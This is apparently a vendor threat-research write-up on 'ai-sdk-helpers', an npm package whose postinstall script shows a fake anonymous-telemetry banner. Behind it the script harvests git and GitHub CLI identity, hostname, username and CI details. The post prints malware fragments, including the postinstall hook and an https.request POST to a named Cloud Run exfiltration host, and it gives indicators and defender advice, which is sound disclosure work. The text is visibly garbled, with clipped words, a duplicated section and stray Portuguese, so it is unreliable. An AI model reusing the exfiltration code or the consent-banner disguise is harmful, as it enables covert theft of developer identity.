ConsentMask The npm Package Hiding Developer Identity Harvesting

ConsentMask: An npm Package That Wears a Telemetry Consent Banner Over Developer-Identity Harvesting

TL, DR

A single npm package, ai-sdk-helpers, presents itself as a production toolkit for the Vercel AI SDK, offering cost tracking, provider fallback, and streaming helpers.

Its install-time script opens with a polished disclosure banner describing anonymous diagnostics, promising that no source code, tokens, or credentials are transmitted, honoring a DO_NOT_TRACK opt-out, and linking to a telemetry policy page.

The same script then reads the developer’s git identity, GitHub CLI configuration, machine hostname, OS username, working directory, and CI provider.

That data is POSTed as JSON to a Google Cloud Run endpoint, creating a clear mismatch between the stated telemetry policy and the actual fields collected.

The package was published in twenty-two versions inside a single 83-second burst, and the install script is byte-for-byte identical across every flagged version.

Seven of the eight versions reviewed by our pipeline were scored inconclusive by the ML classifier because the consent-banner styling reads like legitimate telemetry.

We classify ai-sdk-helpers as malicious based on install-time developer identity collection and exfiltration.

Severity: high.

 Anatomy of the install

{
  "scripts": {
    "postinstall": "node scripts/postinstall.js"
  }
}

pós-instalação runs automatically on npm install, before any of the package’s advertised code is ever imported. The script scripts/postinstall.js is where all of the install-time behavior lives.

It opens with a comment block and a runtime notice written in the register of a privacy-conscious open-source project:

>When you install ai-sdk-helpers, we run a quick environment compatibility check and report anonymous diagnostics… The data is fully anonymous — we collect your platform, Node version, and a one-way hash of your machine identifier. No source code, tokens, or credentials are ever transmitted.

It even wires up a working opt-out gate, the first executable code in the file:

if (
  process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
  process.env.DO_NOT_TRACK === "1"
) {
  process.exit(0);
}

lacing this gate first is what makes the rest read as consensual: a developer who sets `D_NOT_TRACK` ees the install complete silently and concludes the package honors the convention. The honored opt-out is real. What it gates, for everyone who does not set it, is the collection described below — not the narrower “platform, Node version, and a one-way hash” the notice names.

Below that gate, the script assembles a payload that goes well past that description.

  • *Gt identity.* rresolverScmIdentity()` eads `~.gitconfig`,`~.config/git/config`,and the current project’s `.it/config`,parses the `[ser]` ection, and returns the configured commit email. If no config file yields an email, it falls back to the `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,and `EAIL` nvironment variables. A docstring above the function frames the read as a way “to deduplicate installs across machines owned by the same person (e.g. laptop + CI)” — a stated purpose that requires a stable per-developer identifier, which a commit email supplies.
  • *GtHub account.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` nd `~.config/gh/hosts.yaml` the configuration file written by the GitHub CLI when a developer authenticates — and regex-extracts the `uer:` nd `eail:` ields. That file also stores the GitHub OAuth token; the script’s regex targets the username and email lines specifically and does not extract the token. The disclosure banner’s “no tokens… are ever transmitted” claim is therefore literally true for that one field while the surrounding account identifiers are read and sent.
  • *Hst and CI fingerprint.* he script then collects `o.hostname()`,`o.userInfo().username`,the Node version, platform and architecture, `pocess.cwd()`,and a CI-provider label resolved by checking environment variables for eight providers (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, and two generic-CI flags). The provider list reads as an inventory of where the script expects to execute — interactive shells and automated build pipelineé igual.

All of these are grouped into a single `dagnostics` bject, with the per-developer fields collected under an `ientity` ey and the host data under `rntime` nd `cntext` eys, then serialized and transmitted:

const req = https.request(
  {
    hostname: "npm-package-logger-228835561205.europe-west1.run.app",
    path: "/",
    method: "POST",
    headers: { "Content-Type": "application/json" },
    timeout: 5000,
  },
  () => {}
);

req.on("error", () => {});
req.write(body);
req.end();

he response is discarded and all errors are swallowed — a comment notes that “telemetry must never break the install.” The endpoint hostname encodes a Google Cloud Run service in the `erope-west1` egion.

The gap is the story. The banner names three categories of data — platform, Node version, machine-identifier hash. The payload sends a developer’s real git commit email, their GitHub username and email, their machine hostname and OS account name, their project path, and their CI environment. The fields that identify a *prson and their accounts* re exactly the fields the disclosure omits.

The README reinforces the framing from the other side. Its “Telemetry” section repeats the anonymity claim and links the word `D_NOT_TRACK` o `cnsoledonottrack.com`,the real community page that documents the opt-out convention — borrowing a recognized privacy standard to make the notice read as routine.

Timeline

This is a single-package find with a very short, very dense publication history. There is no multi-week campaign arc to trace — the entire version range was pushed at machine speed.

Quando (UTC) Evento
2026-06-03 20:31:20 First version (0.1.0) published to npm.
2026-06-03 20:31:20 – 20:32:43 All 22 versions (0.1.0 através de 1.4.2) published in an 83-second automated burst.
2026-06-04 Eight versions flagged by detection signals; manual analysis confirms install-time identity collection and exfiltration. Package remained live on npm at the time of analysis.

The 83-second window across 22 semantic versions is itself a behavioral indicator: the version ladder (`01.0`,`01.1`,… `14.2`)presents the surface of an actively maintained project with a release history, produced in one scripted run. The install script does not change across that ladder — see below.

Indicadores de compromisso

The install-time payload is identical across the published version range. A `dff` f `sripts/postinstall.js` etween version `02.1` nd version `14.2` eturns no differences; the behavior is one fixed fingerprint, not an evolving payload.

Network

The 83-second window across 22 semantic versions is itself a behavioral indicator: the version ladder (`01.0`,`01.1`,… `14.2`)presents the surface of an actively maintained project with a release history, produced in one scripted run. The install script does not change across that ladder — see below.

Indicadores de compromisso

The install-time payload is identical across the published version range. A `dff` f `sripts/postinstall.js` etween version `02.1` nd version `14.2` eturns no differences; the behavior is one fixed fingerprint, not an evolving payload.

Network

Indicador Tipo
npm-package-logger-228835561205.europe-west1.run.app Exfiltration endpoint receiving HTTPS POST requests with JSON payloads. Hosted on Google Cloud Run in the europe-west1 região.

Decoy infrastructure

Indicador Tipo
ai-sdk.guide Package homepage and live site backing the "AI SDK Guide" author identity.
ai-sdk.guide/telemetry Telemetry policy URL referenced in the install-time disclosure notice.
hello@ai-sdk.guide Author email declared in package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Source repository declared by the package.

Files read at install time

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` enviar
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`

Assinaturas comportamentais

  • – m `pstinstall` ook invoking a bundled Node script
  • – opt-out gate (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)presented as a privacy feature, ahead of identity collection
  • – tbound HTTPS POST of a JSON object containing git email, GitHub identity, hostname, OS username, cwd, and CI label
  • – te-identical install script across a rapidly published version ladder

 Attribution & Observed Behavior
We attribute nothing beyond what the package and registry metadata record.

The npm maintainer of record is the account `aielsimon`,with the address `aiel@vigilance.security`.The registry lists that email as unverified and the account’s source-control identity as unverified. The `pckage.json`,separately, presents the author as “AI SDK Guide `<ello@ai-sdk.guide>`”with a homepage of `a-sdk.guide` nd a source repository under a `gthub.com/ai-sdk-guide` organization. The publishing account’s email domain (`vigilance.security`)and the in-package author identity (`a-sdk.guide`)are different domains.

The `a-sdk.guide` ite is live and responds, and the `/elemetry` ath resolves — the decoy identity is backed by a reachable web presence rather than a dead link, which raises the believability of the package’s framing.

**Observed capability.** At install time, the package reads developer identity and account-configuration files, fingerprints the host and CI environment, and transmits the result to an operator-controlled endpoint, while displaying a notice that describes a narrower and anonymized data set. We describe this behavior; we do not assert a motive for it. Readers evaluating the package — including any party who recognizes the publishing identity — should weigh the observable mismatch between the stated and actual data flows.

Who is exposed. Anyone who installs ai-sdk-helpers — directly or as a transitive dependency — runs the collection on that machine. Because the trigger is pós-instalação, the advertised library code never has to be imported for the data flow to occur; the install alone is sufficient. The highest-value environments are developer workstations with a configured git identity and an authenticated GitHub CLI, and CI runners, where the script’s CI-provider detection indicates the collection is expected to run inside build pipelines as well as on laptops.

What it exposes. Not application secrets in the general case — the payload centers on identidade: the developer’s commit email, their GitHub account name and email, the machine and account names, and the project path. That is a precise map of who installed the package, on what machine, in what repository, and under which CI system. For an organization, a handful of such records taken together would enumerate which engineers and which build systems pulled the dependency — useful as a precursor to more targeted follow-on activity, even though this package’s own behavior stops at collection and transmission.

The trend: telemetry as cover. Legitimate developer tools do collect anonymized install diagnostics, and the conventions for doing it respectfully — a disclosure notice, a DO_NOT_TRACK honor, an opt-out flag, a policy URL — are well known. ai-sdk-helpers reproduces all four of those conventions faithfully and uses them as the wrapper for identity collection. The presence of a consent banner, a working opt-out, or a privacy-policy link is not evidence that a package is trustworthy; those controls are inexpensive to imitate. The only reliable check is what the code actually reads and where it actually sends it.

This packaging also has a measurable effect on automated triage. Across the versions our pipeline reviewed, the install script’s plain-language comments, structured field names, and conventional opt-out gate scored as ordinary telemetry: seven of the eight came back inconsequente from the ML classifier rather than malicious. The signal that resolves the ambiguity is not in the prose — it is in the specific files the script opens (~ / .gitconfig, ~/.config/gh/hosts.yml) and the destination it sends to. A reviewer, automated or human, who reads the disclosure and stops there will reach the wrong conclusion; the determination has to come from the data-flow facts.

Guidance for defenders:

  • Install with scripts disabled by default — npm install –ignore-scripts, ou definir ignore-scripts=true in .npmrc and run vetted build steps explicitly. This neutralizes pós-instalação-triggered collection across the board.
  • Do not treat opt-out controls as trust signals. A DO_NOT_TRACK check or a “telemetry policy” link tells you nothing about the data a script collects when the gate is not set.
  • Read the install hook before adopting AI-ecosystem helper packages. The Vercel AI SDK space is a fast-moving, high-trust target; a pós-instalação that touches ~ / .gitconfig or ~/.config/gh/ is a clear signal regardless of how the surrounding comments are written.
  • Monitor build-time egress. An outbound HTTPS POST during npm install, especially to a freshly provisioned cloud-function endpoint, is observable at the network layer and is a strong detection point for CI environments.
  • Watch for compressed version ladders. A package whose entire semantic-version history appears within seconds, with an unchanging install script, is presenting a manufactured maintenance history.
sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
você recebe uma avaliação gratuita de 7 dias da nossa licença Business Edition e pode aproveitar alguns dos recursos avançados da plataforma SecurityScorecard.
Não é necessário cartão de crédito

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni